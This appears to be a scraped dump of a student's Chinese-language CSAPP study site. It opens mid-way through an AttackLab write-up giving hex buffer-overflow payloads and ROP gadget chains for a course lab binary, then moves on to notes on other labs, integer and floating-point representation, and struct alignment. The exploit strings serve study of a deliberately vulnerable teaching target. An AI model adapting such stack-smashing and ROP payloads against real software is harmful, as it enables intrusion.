\u0026lt;.text\u0026gt;: 0:\t48 c7 c7 78 56 34 12 mov $0x12345678,%rdi 7:\t68 25 1d 40 00 push $0x401d25 c:\tc3 ret 这里每条指令前面的数字就是编码了。我们构造的思路是：首先末尾的8字节是getbuf中对%rsp减去0x28之后的%rsp的地址（这个地址需要在gdb中查看，方法是x $rsp）；然后输入的开头部分就是上述机器码，中间补00即可。在exploit-hex2中写：\n48 c7 c7 78 56 34 12 68 25 1d 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 64 55 00 00 00 00 /* stack-top address */ level3 # 这里传入%rdi的是一个地址，这个地址处存的是cookie。那我们需要把cookie显式写在输入中，然后编写的机器码中给rdi传值成cookie的地址即可。这里有两个注意点：\n我们不能把cookie写在level2中那些00的位置。因为在level3中有一个hexmatch函数来检查存cookie地址处的8字节是否真的与自己的cookie相等，而这个函数可能会覆盖掉我们输入的字节。策略是把cookie写在栈中靠上方的位置（高地址处）。通过测试或者在gdb中查看hexmatch执行完之后栈中字节的变化，可以发现我们在返回地址之上的位置来写的保准安全的。\n首先栈顶的地址是55640078，也就是level2中开始字节48的地址。接着我们不断加8字节找到cookie首字节31的位置。也就是加0x48，得到地址556400b0。\n写的cookie不能倒转字节，因为比较的时候是按照字节比的，不是按照一个数字比较的。也就是说，会从低地址到高地址逐个取字节比较。结合上面的图更好理解。\n这是机器码：\nmovq $0x556400b0, %rdi /* 78+48=b0 */ push $0x401e4b ret 这是exploit-hex3：\n48 c7 c7 a8 00 64 55 68 4b 1e 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 64 55 00 00 00 00 /* stack-top address */ 31 32 33 34 35 36 37 38 /* cookie: 0x12345678 */ level4 # 直接上答案吧：\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 31 1f 40 00 00 00 00 00 /* gadget1: popq %rax; ret */ 78 56 34 12 00 00 00 00 /* cookie: 0x12345678 */ 5a 1f 40 00 00 00 00 00 /* gadget2: movq %rax,%rdi; ret */ b3 1c 40 00 00 00 00 00 /* touch2_addr */ 注：图中cookie字节写反了！！！栈中那一行应该是00 00 00 00 12 34 56 78\n执行的流程搞清楚就清晰了：\n首先覆盖返回地址gadget1的地址，执行popq %rax之后，会使得rsp加8到cookie那一行，再把cookie的值读给rax，然后ret，使得rsp加8到gadget2那一行，把地址读给rip，让接下来执行的机器码从gadget2开始。在gadget2中，执行movq %rax,%rdi; ret，ret会使得rsp加8到touch2_addr那一行给rip，也就进入了touch2。\n为什么只用这些gadget没用其他的？因为farm里面没找到\u0026hellip;如果找到了当然可以使用更加复杂的方式或者简单的方式来实现。\nlevel5 # 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 1f 40 00 00 00 00 00 /* gadget1: movq %rsp, %rax */ 5a 1f 40 00 00 00 00 00 /* gadget2: movq %rax, %rdi */ 31 1f 40 00 00 00 00 00 /* gadget3: popq %rax (0x20) */ 48 00 00 00 00 00 00 00 /* 0x20 -\u0026gt; rax */ 96 1f 40 00 00 00 00 00 /* gadget4: 89 c1 eax-ecx */ 0d 20 40 00 00 00 00 00 /* gadget5: 89 ca ecx-edx */ 84 20 40 00 00 00 00 00 /* gadget6: 89 d6 edx-esi */ 88 1f 40 00 00 00 00 00 /* gadget7: add_xy, %rdi + %rsi -\u0026gt; %rax */ 5a 1f 40 00 00 00 00 00 /* gadget8: movq %rax, %rdi */ d9 1d 40 00 00 00 00 00 /* touch3_addr */ 33 36 36 31 61 39 39 34 /* cookie: 0x3661a994 */ 地址的准确值会变化但是相对于栈指针的位置是不会变的，这里的思路是首先把rsp的值存起来，然后加上一个偏移量来得到存放cookie的地址。\n后续有时间再补充吧\n","externalUrl":null,"permalink":"/ics/03-attacklab/","section":"ICS","summary":"函数调用与栈帧","title":"03-AttackLab","type":"ics"},{"content":" Arch-lab # 我有写过书中这一部分的阅读笔记，做这个lab对于理解流水线特别有帮助（特别是part-B），建议先把教材这一部分读几遍（我当时做的时候读了3遍，期末的时候读了8遍，才写了总结笔记，算是有了一定的理解）。\n阅读笔记链接\n有了基础知识的理解，对于lab的各个小阶段的实现其实就还算比较清晰的，具体教程有待补充（绝对不是因为当时偷懒没有写）。最后得分是97/100，具体如下，从第四名之后的avg cpe都是大于7的。\nRANK Total Score PartC Architecture Cost PartC Avg CPE 1 100 3 3.1859727259264425 2 100 3 4.149575565741675 3 100 3 6.870897333977351 4 100 3 7.157017016231295 236(me) 97 3 9.66004851883572 ","externalUrl":null,"permalink":"/ics/04-archlab/","section":"ICS","summary":"流水线设计与优化","title":"04-ArchLab","type":"ics"},{"content":" PartC: 32×32矩阵转置按照8×8分块的miss数为什么是284？ # 这里假设cache的参数设置是s = 5, E = 1, b = 5，总大小是1KB，也就是能装1024 / 4 = 256个int整型。\n对于32×32矩阵A[32][32]，每行32个int，那么根据256 / 32 = 8得知，每8行元素能够恰好占满这个cache。假设A[0][0]缓存在cache的第一个组的第0到3个字节，那么到A[7][31]为止，这前8行的元素能够恰好布满整个cache；当继续缓存下一个元素A[8][0]时，其缓存的位置将会回到cache的开头，也就会导致刚刚缓存了A[0][0]-A[0][7]的这8个元素的那一行被驱逐，并替换为新的一行A[8][0]-A[8][7]。\n每8行元素循环一个cache，每1行元素占据4行的cache。\n此外，由于A共有32行，每8行会循环占据cache的同一个位置；那么对于B，由于我们默认B的地址紧跟在A之后，所以可以看出B的首元素所占据cache的位置和A的首元素所占据cache的位置是一样的。也就是，A[0][0]和B[0][0]都会占据cache的第一行。\n这样也可以看出采用8×8分块的好处：因为每8行之间不会造成驱逐，这8行能够各自独立地缓存到cache中，从而利用空间局部性减少miss数。下面来详细计算284的miss数是怎么来的。\n我们先取出第一个8×8的块，循环如下：\nint i, j, ii, jj, a0, a1, a2, a3, a4, a5, a6, a7; if (N == 32 \u0026amp;\u0026amp; M == 32) { for (ii = 0; ii \u0026lt; N; ii += 8) { for (jj = 0; jj \u0026lt; M; jj += 8) { for (i = ii; i \u0026lt; ii + 8; i++) { a0 = A[i][jj]; a1 = A[i][jj+1]; a2 = A[i][jj+2]; a3 = A[i][jj+3]; a4 = A[i][jj+4]; a5 = A[i][jj+5]; a6 = A[i][jj+6]; a7 = A[i][jj+7]; B[jj][i] = a0; B[jj+1][i] = a1; B[jj+2][i] = a2; B[jj+3][i] = a3; B[jj+4][i] = a4; B[jj+5][i] = a5; B[jj+6][i] = a6; B[jj+7][i] = a7; } } } } 我们先看当``ii = jj = 0时也就是第一个分块时的情况。i的取值范围是0到7，对i的每个取值内部，都将A[i][jj]`这连续的8个值取出来保存到寄存器中；然后取B的前8行的第一列元素。\n","externalUrl":null,"permalink":"/ics/05-cachelab/","section":"ICS","summary":"高速缓存设计与优化","title":"05-CacheLab","type":"ics"},{"content":"这算是一个比较简单的lab，主要是熟悉shell的基本工作原理和一些常用命令的使用，主要是代码实现起来可能会比较陌生，需要常常借用man指令去了解某些函数的用法和参数。\n","externalUrl":null,"permalink":"/ics/06-shelllab/","section":"ICS","summary":"信号处理与系统调用的简单练习","title":"06-ShellLab","type":"ics"},{"content":"个人感觉是最第二难的一个lab（第一难是archlab）。\n","externalUrl":null,"permalink":"/ics/07-malloclab/","section":"ICS","summary":"动态内存分配的设计与实现","title":"07-MallocLab","type":"ics"},{"content":"写一个proxy，很有趣的lab，教材给的tiny代码实现的是一个服务器server，而我们要写一个代理proxy，代理的作用是接受客户端client的请求，然后将请求转发给服务器server，获取服务器的响应之后再返回给客户端，相当于在client和server之间插入了一个中间人proxy。\n","externalUrl":null,"permalink":"/ics/08-proxylab/","section":"ICS","summary":"代理服务器的简单原理与实现","title":"08-ProxyLab","type":"ics"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/tags/csapp/","section":"","summary":"","title":"CSAPP","type":"tags"},{"content":" Tip Blowfish will only bundle the KaTeX assets into your project if you make use of mathematical notation. In order for this to work, simply include the katex shortcode within the article. For example, just include {{\u0026lt; katex \u0026gt;}} at the beginning of your article and any KaTeX syntax on that page will then be automatically rendered.\nCSAPP # 阅读CSAPP的笔记。\n各个lab在其他的文件夹中。\n0. 读前准备 # 其实在此之前（读前之前）已经接触到了Linux相关的命令行操作了（如使用GitBash来从本地将更新的代码push到远端；或者用picgo把本地图片上传到远端，再用pull指令拉到本地文件夹）。 之后看到网上说vim是编辑器之神（这里网上包括知乎、csdn、南大的ICS课程的课前准备），便去详细了解了一下vim的使用，并对其进行了外观的配置，变得更加好看了。 说一下我对vim的感受：无gui的按钮操作，全部都是键盘按键完成（当然这是在关闭鼠标操作设置的前提下，不过我发现即使开启了鼠标的操作功能，在root下开启vim会使用最最最原始的配置）， 而且这个编辑器既然是存在于Linux系统中的，于是可以编写各种代码如python、cpp，并随时保存和在命令行中（编译和）运行，实际上与windows系统中的pycharm或者vscode功能是差不多的。\n但是配置完成后真的很酷啊！效果图如下（第二张是设置了JetBrains Mono字体的）： 这里附上我配置vim参考的链接教程：https://blog.csdn.net/qq_42417071/article/details/139027077 。\n对vim的配置主要是对vimrc的内容进行修改，第一步是先对其复制得到一个拷贝，粘贴到~下，重命名为.vimrc，每次访问的命令就是：ink@gale:~$ vim .vimrc。我把配置文件内容都放在了这个repo的vimrc文件夹我的 Vim 配置中，可以用来参考。 （尽量实现了类似于vscode编辑代码时的自动功能，但仍有一些不完善的地方，..也懒得改了主要是我自己不太会写shell脚本，需要靠互联网和gpt和deepseek三者辅助修改，比较麻烦吧）\n此外，在vim中下载了tmux的包，这样可以在一个窗口中建立多个pane，如在左侧写py代码，在右侧随时执行这个文件，实现和pycharm类似的功能（我的配置中设置了\\1作为热键在完成操作： 保存当前代码文件:w-\u0026gt;向右侧pane中发送指令python3 %-\u0026gt;将光标移到右侧pane中（这样方便输入测试数据））\n其实最后用的还是vscode的ssh（（有点难绷\n1. 计算机系统漫游 # 2. 信息的表示和处理 # 2.1 信息存储 # 8位=1字节 内存由一大块字节数组组成，每个字节都由一个唯一的数字来标识，这个数字就是它的地址。所有可能地址的集合就是虚拟地址空间。相当于把整个内存看出一个字典，键是唯一标识数字\u0026ndash;地址，值是这个地址对应的内存位置的这个字节所存的内容\n✔️二进制、十进制、十六进制的转换：\nbin\u0026lt;-\u0026gt;hex 二进制转十六：从后往前分割4位，逐个转换； 十六转二进制：逐位转换\n当x=2^n时，二进制为1后面跟n个0，当n=i+4j时，对应十六进制：0x(2^i)(0j) 2048=2^11, 11=3+42, 0x800 2. dec\u0026lt;-\u0026gt;hex 十进制转十六：不断做除法取余数，最后用stack反转结果\n十六转十进制：从地位到高位乘16的对应次方\n✔️寻址和字节顺序： 每个字节都有一个编号数字来标识，叫做其地址。那么一个字节是8位，对应到十六进制中就是两个数字（或者a到f中的字母）。\n对于一个int类型的变量x（假设是32位的），假设十六进制值位0x01234567，那么它的内存地址是需要4个字节的，每个字节保存俩个数字。 同时对于跨越多个字节的对象，这个对象的地址是所使用的所有字节中最小的地址。假设x变量的地址为0x100（说明四个字节地址最小的为0x100）\n在保存时采用一块连续的内存地址，有两种方式：最低有效字节在前面（**小端法**）和最高有效字节在前面（**大端法**）， 则对于连续字节地址：0x100,0x101,0x102,0x103，采用大端法为：01,23,45,67，小端法为:67,45,23,01。\nEX: hello, world!在大段和小端中存储方式是一样的。\n但是在表示字符串的时候，无论是大端法的机器还是小端法的机器，输出的结果都是按照字符串的前后顺序，因为字符串的末尾是null。\n对于代码的编译，不同系统上的指令编码是不同的，因此二进制代码很少能在不同机器之间移植。\n✔️位级运算：\n布尔运算：\n与\u0026amp; 或| 异或^ 取反~ 位移\u0026raquo; \u0026laquo;\n逻辑运算：\nand \u0026amp;\u0026amp;; or ||; not ! 返回值都是0或者1\np \u0026amp;\u0026amp; *p 防止解引用空指针\n一个常见用法是实现掩码运算，例如位级运算x\u0026amp;0xFF生成一个由x的最低有效字节组成的值，比如： 0x2342A4EF \u0026amp; 0xFF = 0xEF。而掩码~0将生成一个全为1的掩码。\n利用是：要取出x的最高三字节：x\u0026amp;0xFFFFFF00 要取出x的最低一字节：x\u0026amp;0xFF\nbitset(x,y):把y是1的位置在x中设为1 \u0026ndash;\u0026gt; (x | y) bitclean(x,y):把y是1的位置在x中设为0 \u0026ndash;\u0026gt; (x \u0026amp; ~y)\n实现异或：x ^ y == bis(bic(x,y), bic(y,x)) --\u0026gt; x ^ y == (x \u0026amp; ~y) | (~x \u0026amp; y)\n注意位级运算与逻辑运算的差别，\u0026amp;\u0026amp;如果左侧为假直接返回0而不判断右侧，||如果左侧为真直接返回1而不判断右侧，x==y \u0026lt;-\u0026gt; !(x^y)\n✔️位移运算：\n操作 值 x [01100011] [10010101] x \u0026laquo; 4 [00110000] [01010000] x \u0026raquo; 4(逻辑右移) [00000110] [00001001] x \u0026laquo; 4(算术右移) [00000110] [11111001] 逻辑位移不逻辑，不保留符号位只无脑右移\n注：在Java中，x\u0026raquo;\u0026gt;4才是逻辑右移。算术右移会根据正负补齐高位，逻辑右移只会补0.\n优先级：移位运算优先级比加减法要低。\n2.2 整数表示 # ✔️整形数据类型： C数据类型在32位和64位的整数取值范围只有long和unsigned long有区别：32为2**32-1；64为2**64-1.\n在x86-64中：\nchar : 1 byte\nshort: 2 bytes\nint : 4 bytes\nfloat: 4 bytes\nlong : 8 bytes\npointer: 8 bytes\n✔️无符号数的编码(正整数)： 对于一个有$w$位的整数数据类型，可以把位向量写成$\\overrightarrow{x}$，且每一位的取值为0或1。那么可以给出无符号数的编码定义：\n对向量$\\overrightarrow{x}=[x_{w-1},x_{w-2},\\cdots,x_0]$:\n$$B2U_w(\\overrightarrow{x}) \\doteq \\sum_{i=0}^{w-1} x_i2^i$$其中$B2U_w$为Binary to Unsigned的缩写，长度为w。\n与此同时，无符号数编码具有唯一性，即函数$B2U_w$是一个双射。\n那么当向量表示为$[11\u0026hellip;1]$时最大值为$2^w-1$，表示为$[00\u0026hellip;0]$时最小值为$0$.\n✔️补码的编码(负整数)： 对于负数值的表示，常常使用补码（two\u0026rsquo;s-complement）形式表示，将字的最高有效位解释为负权（negative weight）。给出补码定义：\n对向量$\\overrightarrow{x}=[x_{w-1},x_{w-2},\\cdots,x_0]$:\n$$B2T_w(\\overrightarrow{x}) \\doteq -x_{w-1}2^{w-1}+\\sum_{i=0}^{w-2} x_i2^i$$其中$B2T_w$为Binary to Two\u0026rsquo;s-complement的缩写，长度为w。\n$B2T_w([0101])=5$\n$B2T_w([1011])=-5$\n与此同时，补码编码具有唯一性，即函数$B2T_w$是一个双射。\n那么当向量表示为$[011\u0026hellip;1]$时最大值为$2^{w-1}-1$，表示为$[100\u0026hellip;0]$时最小值为$-2^{w-1}$.\n对于字长w=8，给出表示整数的最值：\n$UMax_w = 2^w-1=255=0xFF$\n$TMax_w = 2^{w-1}-1=127=0x7F$\n$TMin_w = -2^{w-1}=-128=0x80$\n$-1=[11111111]=0xFF$\n$0=[00000000]=0x00$\nTIPS：\n$(1):|TMin|=|TMax|+1$，$(2):UMax=2TMax+1$.且在有符号表示中，-1为全为1的串。 对于32位的机器，由8个十六进制数字组成的，且开始的那个数字（最高的第8位）是8-f之间的任何值，都是一个负数。但是0x8048337是一个整数（补高位0）。 补充： 还有两种标准的表示方式和： 反码（Ones\u0026rsquo; Complement） $$B2O_w(\\overrightarrow{x}) \\doteq -x_{w-1}(2^{w-1}-1)+\\sum_{i=0}^{w-2}x_i2^i$$原码（Sign-Magnitude） $$B2S_w(\\overrightarrow{x}) \\doteq (-1)^{x_{w-1}} \\cdot (\\sum_{i=0}^{w-2}x_i2^i)$$✔️有符号数和无符号数之间的转换：\n基本原则：数字的位表示不变，仅仅改变理解这个位表示的方式。\n强制类型转换的结果保持位值不变，只是改变了解释这些位的方式。\n此外，在有符号和无符号进行比较时，会将有符号数隐式转换为无符号数，例如-1 \u0026gt; 0u是正确的。因为-1会被转为UMAX-1。\n补码转为无符号数： $$\rT2U_w=\r\\begin{cases}\rx,\\ x\\geq0\\\\\rx+2^w,\\ x\u003c0\\\\\r\\end{cases}\r$$其中满足$TMin_w \\leq x \\leq TMax_w$\n无符号数转为补码： $$\rU2T_w=\r\\begin{cases}\rx,\\ x \\leq TMax_w\\\\\rx-2^w,\\ x \u003e TMax_w\\\\\r\\end{cases}\r$$其中满足$0 \\leq x \\leq UMax_w$\nC语言中有符号数与无符号数的表示 遵循一个最基本的原则：给定一个数字，其二进制的底层表示是固定不变的，而最终这个数字表示的含义要根据自己赋予其的数据类型去解释。 比如对于2^31（2147483648），其十六进制表示为0x80000000，如果是int类型（4字节，有符号数），那么最高位（第32位）为1，说明这是一个负数（最高位是8-f的都是负数）， 根据$T2U_w$的公式得知其表示的数字实际上为-2147483648；如果是unsigned类型（4字节，无符号数，可以写成2147483648u/U），那么最高位解释为正权值， 因此表示为正的2147483648。然而，尽管在两种表示方式下数值是不同的，其二进制表示形式是一致的，只是对二进制的解释方式的差别导致的数值的大小差别。\n在对数值进行比较时，如果两个数分别为有符号和无符号，那么会将有符号隐式地转为无符号进行比较，即有如下布尔值：\n2147483647 \u0026gt; -2147483647-1 \u0026ndash;\u0026gt; 均为有符号 \u0026ndash;\u0026gt; true\n2147483647u \u0026gt; -2147483647-1 \u0026ndash;\u0026gt; 将右侧的有符号转为无符号（+2147483648） \u0026ndash;\u0026gt; false\n✔️扩展一个数字的位表示：\n无符号数的零扩展 直接在最高位补0即可。\n有符号数的符号扩展 保持与当前最高位一致，向前补齐，是1补1，是0补0.\nTIP： 对于有符号数，可以把高位的1都删去，直到这一连续的1串只剩下1个1的时候，数值是相等的，比如： -5=[1011]=[11011]=[111011]\n✔️截断数字：\n从汇编代码的视角去看：\n小到大：先扩展，按照原来的符号位进行符号位扩展，然后存大的字节\n大到小：直接存对应大长度的寄存器，然后读取低位到目标内存\n截断无符号数 $令\\overrightarrow{x}是一个w位的向量，而\\overrightarrow{x\u0026rsquo;}是将其截断为k位的结果。令x=B2U_w(\\overrightarrow{x}), x\u0026rsquo;=B2U_k(\\overrightarrow{x\u0026rsquo;})。则有x\u0026rsquo;=x \\mod 2^k。$\n截断有符号数 $令\\overrightarrow{x}是一个w位的向量，而\\overrightarrow{x\u0026rsquo;}是将其截断为k位的结果。令x=B2U_w(\\overrightarrow{x}), x\u0026rsquo;=B2T_k(\\overrightarrow{x\u0026rsquo;})。则有x\u0026rsquo;=U2T_k(x\\mod2^k)。$\n2.3 整数运算 # 2.3.1 无符号加法 # 原理1：\n无符号数加法：\n对满足 $0 \\leq x,y \u0026lt; 2^w$ 的 $x$ 和 $y$ 有：\n$$\rx +_w^{u} y=\r\\begin{cases}\rx+y,\\ x+y\u003c2^w\\ (正常)\\\\\rx+y-2^w,\\ 2^w \\leq x+y \u003c 2^{w+1}\\ (溢出)\\\\\r\\end{cases}\r$$检测无符号整数加法是否发生了溢出：\n如果和s\u0026lt; x(or s \u0026lt; y)，则发生了溢出。\n原理2：\n无符号数求反：\n对满足 $0 \\leq x,y \u0026lt; 2^w$ 的 $x$ ，其w位的无符号逆元$-_w^{u}x$由下式给出：\n$$\r-_w^{u}x =\r\\begin{cases}\rx,\\ x=0\\\\\r2^{w}-x,\\ x\u003e0\\\\\r\\end{cases}\r$$对十六进制数字先变为dec，然后计算逆元，再变为16进制\n2.3.2 补码加法 # 原理：\n补码加法：\n对满足 $-2^{w-1} \\leq x,y \\leq 2^{w-1}-1$ 的 $x$ 和 $y$ 有：\n$$\rx +_w^{t} y=\r\\begin{cases}\rx+y-2^w,\\ 2^{w-1} \\leq x+y \\ (正溢出)\\\\\rx+y,\\ -2^{w-1} \\leq x+y \u003c 2^{w-1} \\ (正常)\\\\\rx+y+2^w,\\ x+y \u003c -2^{w-1}\\ (负溢出)\\\\\r\\end{cases}\r$$(考虑负溢出为什么必定是加 $2^w$ :因为从w+1位截断到w时，首位的1后面的第二位必定是0，否则这个数字就大于w位的最小负值了，见上面的TIP)\n检测补码加法和减法是否溢出:\n对于减法，如果x和y的符号位不同，且x-y的符号位也与x不同，说明发生了溢出。 也就是 (sx ^ sy)\u0026amp;(sx ^ (sd)) == 1, 其中sd = (x - y) \u0026raquo; 31\n对于加法，如果x和y的符号位相同，且x+y的符号位与x不同，说明发生了溢出。 也就是 (~(sx ^ sy))\u0026amp;(sx ^ (sd)) == 1\n2.3.3 补码加法 # 一个易错点是，TMIN是0x80000000，当取相反数时，-TMIN = ~TMIN + 1 = TMIN，即TMIN的相反数是其本身。\n2.3.4\u0026amp;5\u0026amp;6\u0026amp;7 乘法和除法 # 相当于先乘法，然后截断到低位。\n有符号只是在最后多加一步，将位级解释为有符号即可。\n如果乘数的2的幂次，那就相当于左移幂次。\n考虑乘数为K，其位表示中存在从位置n到位置m的连续的1，有两种形式计算：\n$(x \u0026laquo; n) + (x \u0026laquo; (n-1)) + \u0026hellip; + (x \u0026laquo; m)$ $(x \u0026laquo; (n + 1)) - (x \u0026laquo; m)$ 对于除以2的幂次，\n定义整数除法是向零舍入。 除以2的幂的无符号除法：直接右移k位，会向0取整。（也就是向下取整） 除以2的幂的补码除法：直接右移k位，会向下取整。 综合2和3，可以发现，对于有符号和无符号，如果直接使用右移操作符，得到的效果都是向下舍入的。即$x\u0026raquo;k = \\lfloor x / 2^k \\rfloor$ 如果想要让负数向上舍入，可以加上一个偏置 biasing值，由于除数的2^k，那么偏置值就是2 ^ k-1，也就是：$(x+(1\u0026laquo;k)-1)\u0026raquo;k = \\lceil x / 2 ^k \\rceil$。 综合3和5，可以发现，在C语言中可以用一行代码实现真正的除以2^k的操作，也就是，我们想要实现的是不管这个数字是正还是负，我们都想要向0舍入，那么就可以写为：(x \u0026lt; 0 ? x+(1 \u0026lt;\u0026lt; k)-1 : x) \u0026gt;\u0026gt; k，这样可以完美计算x/2^k。 总结：整数除法定义为向0舍入，但是直接右移会导致向下舍入，因此对于负数要加上一个偏置来保证向0舍入。\n2.4 浮点数 # IEEE浮点表示\n目的是给定x和y，来表示形如$x \\times 2^y$的数。\n$V = (-1)^s \\times M \\times 2^E$\n其中，\ns(sign)是符号位，决定是负数还是正数 E(exponent)是阶码，对浮点数加权。解释为无符号数，通过偏置解释为有符号数。 M(significand)是尾数，是一个二进制小数，在规格化值中范围是$1 \\sim 2-\\epsilon$，在非规格值中范围是$0 \\sim 1-\\epsilon$，原因是在规格化中有一个隐含的前置0。 类型 位数 s exp frac float 32 1 8 23 double 64 1 11 52 规格化的值 当exp不全为0也不全为1时，阶码的值$E = e - Bias$，其中偏置$Bias = 2^{k-1}-1$（单精度是127，双精度是1023），因此整体的范围，对于单精度是-126127，双精度是-10221023。 此时的小数字段frac是f，尾数$M = 1 + f$，有一个隐含的1。 非规格化的值 当阶码都是0时，阶码$E = 1 - Bias$，尾数$M = f$，无隐含的1。 特殊值 当阶码都是1时，小数为0时得到的值是正负无穷；小数非0时成为NaN。 如下图可以直观看出几类数字的范围。\n一个属性：对于正数，将位表示看为无符号数，大小与小数的原本大小是一致的；而负数则是相反的。则可以用过以下代码实现对浮点数的比较：\nunsigned int float_to_uint(float f) { unsigned int u = (unsigned int) f; // 如果是负数，翻转所有位 if (u \u0026gt;\u0026gt; 31) { return ~u; } else { return u | 0x80000000; // 正数：最高位置为1 } } 整数转为浮点数：\n例如对于12345，0b11000000111001，\n先将小数点左移13位，得到1.(\u0026hellip;) * 2^13，括号内有13位， 将括号内后面补10个0，构成23位的小数部分， 阶码无符号的值为13+127=140，即0b10001100， 再填上符号位的0，得到最终float的二进制表示。 /* * float_i2f - Return bit-level equivalent of expression (float) x * Result is returned as unsigned int, but * it is to be interpreted as the bit-level representation of a * single-precision floating point values. * Legal ops: Any integer/unsigned operations incl. ||, \u0026amp;\u0026amp;. also if, while * Max ops: 30 * Rating: 4 */ unsigned float_i2f(int x) { int sign = (1 \u0026lt;\u0026lt; 31) \u0026amp; x, first1, idx, exp, frac, mask = 0x7fffff, out, if (x == 0) return 0; if (x == (1\u0026lt;\u0026lt;31)) return 0xcf000000; if (sign) x = -x; for (idx = 31; idx \u0026gt;= 0; idx--) { if (x \u0026gt;\u0026gt; idx) { first1 = idx; break; } } exp = first1 + 127; x \u0026lt;\u0026lt;= (31 - first1); frac = (x \u0026gt;\u0026gt; 8) \u0026amp; mask; out = x \u0026amp; 0xff; if (out \u0026gt; 0x80 || (out == 0x80 \u0026amp;\u0026amp; (frac \u0026amp; 1))) { frac = frac + 1; } if (frac \u0026gt;\u0026gt; 23) { frac = frac \u0026amp; mask; exp++; } return sign | (exp \u0026lt;\u0026lt; 23) | frac; } 舍入：\nIEEE浮点格式定义了四种不同的舍入方式，分别是：\n$向偶数舍入$，是默认的方式。舍入的结果是使得最低有效数字是偶数。 比如1.4舍入为1，而1.5和2.5舍入为2。 对于二进制数字，仍然考虑舍入之后的最低位的偶数性。对于形如$XXX.YYYY100$的数字，当最后一个Y为将要舍入的位时，这种舍入方式才生效。当这个Y是0时，采用向下，把1抹去；当这个Y是1时，采用向上，使得Y变为0进位。 $向零舍入，向下舍入，向上舍入$ 浮点运算：\n由于舍入的问题，实数运算具有交换律，但不具备结合律。例如，(3.14 + 1e10) - 1e10 = 0.0，因为舍入3.14被丢掉。 浮点加法满足单调性，如果 $a \\ge b, \\forall x, x + a \\ge x + b $。 可以保证，只要 $ a \\ne NaN $，就有 $ a *^f a \\ge 0 $。 强制类型转换中的舍入：\nint -\u0026gt; float: 数字不会溢出，但是有可能被向偶数舍入。 int/float -\u0026gt; double: 能保留精准的数值。 double -\u0026gt; float: 可能会溢出；也可能被向偶数舍入。 float/double -\u0026gt; int: 值会向零舍入。 3. 程序的机器级表示 # 3.1 程序编码 # 机器级代码：\n程序计数器（PC，%rip）给出将要执行的下一条指令在内存中的地址。\n使用linux\u0026gt; gcc -Og -S mycode.c来获得汇编文件mycode.s。\n这一章的内容阅读教材即可，都是指令的记忆和熟悉，我在第一次月考之前通过拟合往年题也对于一些知识点有了更深的了解，比如结构体对齐、指针运算等等，这里稍微留下一些记录吧。此外，这一章关于汇编代码的考察集中在02-bomblab中，对于栈的理解和对程序的攻击的考察集中在03-attacklab中，通过做lab也可以对本章内容有更深入的理解和掌握。\n3.2 结构体对齐 # 对于struct和union，对齐要求是：\n结构体/联合体的首地址：必须是其内部最大基本数据类型成员大小的整数倍。 结构体每个成员相对于结构体首地址的偏移量：必须是该成员自身大小的整数倍。如果不能满足，需要在成员之间填充（padding）空白字节。 (注意，这里说的是每个成员的地址，下面有示例说明) 结构体总大小: 必须是最大对齐数（结构体内部最大基本数据类型成员大小）的整数倍。如果不能满足，需要在最后一个成员后填充空白字节。(如果struct里面存放了union，按照union中的最大对齐数来计算而不是整个union的大小) 联合体的大小：是其内部所有成员中占用空间最大的成员的大小。 示例：\nstruct A { char a; // 1 byte int b; // 4 bytes short c; // 2 bytes }; struct B { char a; // 1 byte short b; // 2 bytes int c; // 4 bytes }; 对于结构体A：\na 占用1个字节，偏移量为0。 b 占用4个字节，需要对齐到4的倍数，因此 a 后面填充3个字节。b 的偏移量为4。（这里对应了上面规则的第二条，不能直接把int放在char后面，因为char后面的地址是1，不是4的倍数，所以要补三个字节的padding，此时地址是4，可以放int了） c 占用2个字节，需要对齐到2的倍数，c 的偏移量为8。 结构体总大小需要是 4 的倍数。当前大小是 10，需要填充2个字节，所以总大小为12。 对于结构体B：\na 占用1个字节，偏移量为0。 b 占用2个字节，需要对齐到2的倍数，因此 a 后面填充1个字节。b 的偏移量为2。 c 占用4个字节，需要对齐到4的倍数，c 的偏移量为4。 结构体总大小需要是4的倍数。当前大小是7，需要填充1个字节，所以总大小为8。 union MyUnion { int a; // 4 bytes double b; // 8 bytes char c[10]; // 10 bytes }; MyUnion 的大小将是 16 字节，因为 char c[10] 是最大的成员，占10字节；但是最大成员长度是8，整个union的大小需要是8的倍数，所以扩展到16字节。\nunion MyUnion { int a; // 4 bytes double b; // 8 bytes char c[10]; // 10 bytes }; struct MyStruct { union { short a; char b[3]; } u; char c; }; int main(){ MyUnion myunion; MyStruct mystruct; cout \u0026lt;\u0026lt; sizeof(myunion) \u0026lt;\u0026lt; endl; // 16 cout \u0026lt;\u0026lt; sizeof(mystruct) \u0026lt;\u0026lt; endl; // 6 cout \u0026lt;\u0026lt; sizeof(mystruct.u) \u0026lt;\u0026lt; endl; // 4 } 注意输出的第二个是6而不是8。因为即使union的大小是4，在struct中仍然按照union内部的最大的类型来作为union所代表的最大大小（也就是short的两字节），因此struct中末尾的一个char的1字节之后，为了保持两字节的倍数，从5字节扩展到6字节。\n3.3 指针运算 # C 语言允许对指针进行运算，而计算出来的值会根据该指针引用的数据类型的大小进行伸缩。也就是说，如果 p 是一个指向类型为 T 的数据的指针，p 的值为 $ x_p $，那么表达式 p+i 的值为 $ x_p + i * sizeof(T)。 $\n这是教材的原话，下面给出一个例子：\n这里面s.u的大小是4，s的整体大小是24。看CD选项，取地址符号取出来地址，然后对地址运算，实际上和指针运算是一致的。我们给出这样的计算方式：\n$$\r(T*) addr_1 - (T*) addr_2 = (addr1 - addr2) / sizeof(T)\r$$其中addr1 addr2分别是两个地址的值，相减之后的结果是实际地址的差值除以地址内部所保存的值的类型大小。这道题中，两个地址之间的实际差值是16，但是需要除以指针所指向的类型的size，也就是short的2字节，所以答案是8而不是16。\n3.4 浮点数 # 请问对于正int类型的数字，第一个无法用float精确表示的值是？ 